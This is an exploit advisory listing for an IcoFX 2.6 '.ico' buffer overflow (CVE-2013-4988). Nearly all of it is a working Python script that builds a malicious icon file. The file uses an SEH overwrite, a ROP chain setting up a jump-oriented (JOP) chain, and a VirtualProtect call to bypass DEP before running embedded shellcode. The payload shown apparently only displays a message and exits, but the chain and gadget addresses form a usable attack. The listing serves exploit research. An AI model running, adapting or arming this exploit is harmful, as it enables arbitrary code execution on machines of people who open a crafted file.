IcoFX 2.6 Buffer Overflow

2021-06-07T00:00:00
ID PACKETSTORM:162995
Type packetstorm
Reporter Austin Babcock
Modified 2021-06-07T00:00:00

Description

                                        
                                            `# Exploit Title: IcoFX 2.6 - '.ico' Buffer Overflow SEH + DEP Bypass using JOP  
# Date: 2020-05-20  
# Exploit Author: Austin Babcock  
# Vendor Homepage: https://icofx.ro/  
# Software Link: https://drive.google.com/file/d/1SONzNStA_W3pAPU5IUvsYS3z0jYymEZn/view?usp=sharing  
# Version: 2.6.0.0  
# Tested on: Windows 7 Ultimate x64  
# CVE: CVE-2013-4988  
# Steps: 1. Run script 2. Open application 3. Open maliciousJOP.ico via file -> open dropdown menu  
  
  
# Payload Length: 1626 bytes  
  
#While this is an older CVE, it is very rare to have a JOP chain available for a binary which is what this exploit attempts to demonstrate.   
#Gadgets were found using the JOP ROCKET tool which is available at https://github.com/Bw3ll/JOP_ROCKET  
  
#This exploit utilizes ROP to set up a JOP chain that will perform multiple stack pivots and call VirtualProtect().   
#JOP utilizes a dispatcher gadget (#add ecx, dword ptr [eax] #jmp dword ptr [ecx]) to executes gadgets found within the dispatch table.  
#The ECX register will hold the address of the dispatch table, which will be modified each time the dispatcher gadget executes.  
#After each modification, ECX will point to the address of the next gadget in the JOP chain and "jmp dword ptr [ecx]" executes that gadget.  
#Each functional gadget must end in a jmp or call to a register containing the address of the dispatcher gadget.  
#In this exploit, ecx is used to hold the address of the dispatch table, and edi is used to hold the dispatcher gadget address.  
#The dispatch table is located just after the shellcode in this exploit's payload. The address is loaded into ECX using ROP to programatically generate the correct address..  
  
#!/usr/bin/python2  
import struct  
  
# Stuff we'll need for creating our malicious .ico  
header = "\x00\x00\x01\x00\x00\x6F"  
option = "\x02\x00\x00\x00"  
pad2 = "\x41"*8  
nseh = "\xfe\xff\xff\xff"  
  
base = 0x400000  
# SEH Overwrite with stack pivot - ADD ESP,0x800 # POP EBX # RET  
seh = struct.pack('<L', 0x0044f012)  
  
  
###########################  
  
#### LOAD DISPATCH TABLE ADDR INTO ECX ####  
#The dispatch table's address is calculated based off of the value of EBP, which is related to the paylaod's location in memory.  
jopSetup = struct.pack('<I',0x00580ca8) # POP ECX # RETN <-   
jopSetup += struct.pack('<I',0x0000000) #clear ecx  
jopSetup += struct.pack('<I', base + 0x000e8643) # ADD ECX,EBP # RETN  
jopSetup += struct.pack('<I', base + 0x00007c03) # POP EAX # RETN  
jopSetup += struct.pack('<I',0x00009f0) # offset for disp table  
jopSetup += struct.pack('<I', base + 0x00007c63) # ADD ECX,EAX # RETN # ecx = disp table  
  
#### LOAD ADD VALUE PTR INTO EAX ####  
#Since the dispatcher gadget uses the instruction "add ecx, dword ptr[eax]" to modify the address of the dispatch table,  
#eax must point to a valid location in memory containing the value we want to add to ecx each time the dispatcher executes.  
#In this case, eax will point to an address containing the value 0x00000004.  
jopSetup += struct.pack('<I', base + 0x0029c000) # MOV EAX,ECX # POP ESI # RETN <-  
jopSetup += struct.pack('<I',0x0000000) # junk  
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN  
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN  
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN  
jopSetup += struct.pack('<I', base + 0x0059d50d) # DEC EAX # RETN  
  
#### LOAD WRITABLE ADDR OFFSET INTO EBX ####   
#The gadget used for stack pivoting has an extra instruction (or byte ptr [ebx - 0x781703bb]) that cannot be avoided.   
#In order to ensure this instruction does not cause problems, ebx-0x781703bb must point to a writable section of memory so  
#that the instruction does not cause an access violation. This section makes sure ebx contains a compatible value.  
jopSetup += struct.pack('<I', base + 0x00390000) # POP EBX # RETN   
jopSetup += struct.pack('<I', 0x78c0609a) # needed for stack pivot JOP gadget -- offset to writable addr  
  
#### LOAD DISPATCHER ADDR INTO EDI ####  
jopSetup += struct.pack('<I',base + 0x00051423) # POP EDI # RETN  
jopSetup += struct.pack('<I',base + 0x6d81) # disp gadget address   
#Dispatcher:  
#add ecx, dword ptr [eax] 0x406d81 (offset 0x6d81)  
#jmp dword ptr [ecx]   
  
#### BEGIN JOP -- PERFORM STACK PIVOT ####   
jopSetup += struct.pack('<I', base + 0x1623) # JMP EDI  
table = struct.pack('<I',0x44444444) # padding  
#PIVOT 40 BYTES  
#Last POP will put VP ptr in EBP  
for i in range(10):  
table += struct.pack('<I', 0x588b9b) #pop ebp # or byte ptr [ebx - 0x781703bb], cl # jmp edi <-  
  
#### CALL VirtualProtect() ####  
#The derferencing gadget used to call VirtualProtect() has an offset of -0x71 bytes from ebp.  
#To account for this, when the pointer for VirtualProtect() is loaded into ebp, 0x71 bytes are added to it in order  
#to ensure that ebp-0x71 is the correct value for the pointer. This can be seen below.  
table += struct.pack('<I',0x4c8eb7) #jmp dword ptr [ebp - 0x71] <-  
# VP ptr + offset for jmp ebp gadget  
vpPtr = struct.pack('<I',0x00bf6668 + 0x71)   
  
############################################################################################  
  
  
msg_sc = ("\x31\xD2\xB2\x30\x64\x8B\x12\x8B\x52\x0C\x8B\x52\x1C\x8B\x42\x08\x8B\x72\x20\x8B\x12\x80"  
"\x7E\x0C\x33\x75\xF2\x89\xC7\x03\x78\x3C\x8B\x57\x78\x01\xC2\x8B\x7A\x20\x01\xC7\x31\xED"  
"\x8B\x34\xAF\x01\xC6\x45\x81\x3E\x46\x61\x74\x61\x75\xF2\x81\x7E\x08\x45\x78\x69\x74\x75"  
"\xE9\x8B\x7A\x24\x01\xC7\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68"  
"\x50\x21\x20\x01\x68\x78\x20\x4A\x4F\x68\x49\x63\x6F\x46\x89\xE1\xFE\x49\x0B\x31\xC0\x51"  
"\x50\xFF\xD7")  
  
# ExitProcess(0);  
exit_sc = "\x31\xc0\x50\xb8\x00\x60\xbf\x00\xff\x10"  
  
  
addesp = "\x81\xec\x00\x10\x00\x00" # Stack pivot at start of shellcode  
shellcode = addesp + msg_sc + exit_sc  
nopwrap = "\x90"*(0x168 - len(shellcode)) + shellcode + "\x90"*0x20  
  
  
# padding until VP parameter location   
paramPad = "C" *(36)  
  
paramPad += vpPtr  
  
### VIRTUAL PROTECT PARAMETERS ###  
vpParams = struct.pack('<I',0x18f744) #return addr  
vpParams += struct.pack('<I',0x18f744) #lpAddr  
vpParams += struct.pack('<I',0x500) #dwSize  
vpParams += struct.pack('<I',0x40) #flNewProt  
vpParams += struct.pack('<I',0x00bf4d0a) #lpfOldProtect  
  
  
# pad1 holds JOP Setup chain, VP() Parameters, Shellcode, Value for ADD, and Dispatch Table  
pad1 = "A"*580 + jopSetup + paramPad + vpParams + nopwrap  
addVal = struct.pack('<I',0x00000004) # how much for disp gadget to add to Dispatch Table address  
pad1 += addVal  
pad1 += table # dispatch table  
pad1 += "B"*(0x640-len(pad1))  
  
# Piece together our exploit  
payload = header + pad1 + option + pad2 + nseh + seh  
# Write out our malicious file  
writeFile = open ("maliciousJOP.ico", "wb")  
writeFile.write( payload )  
writeFile.close()  
  
`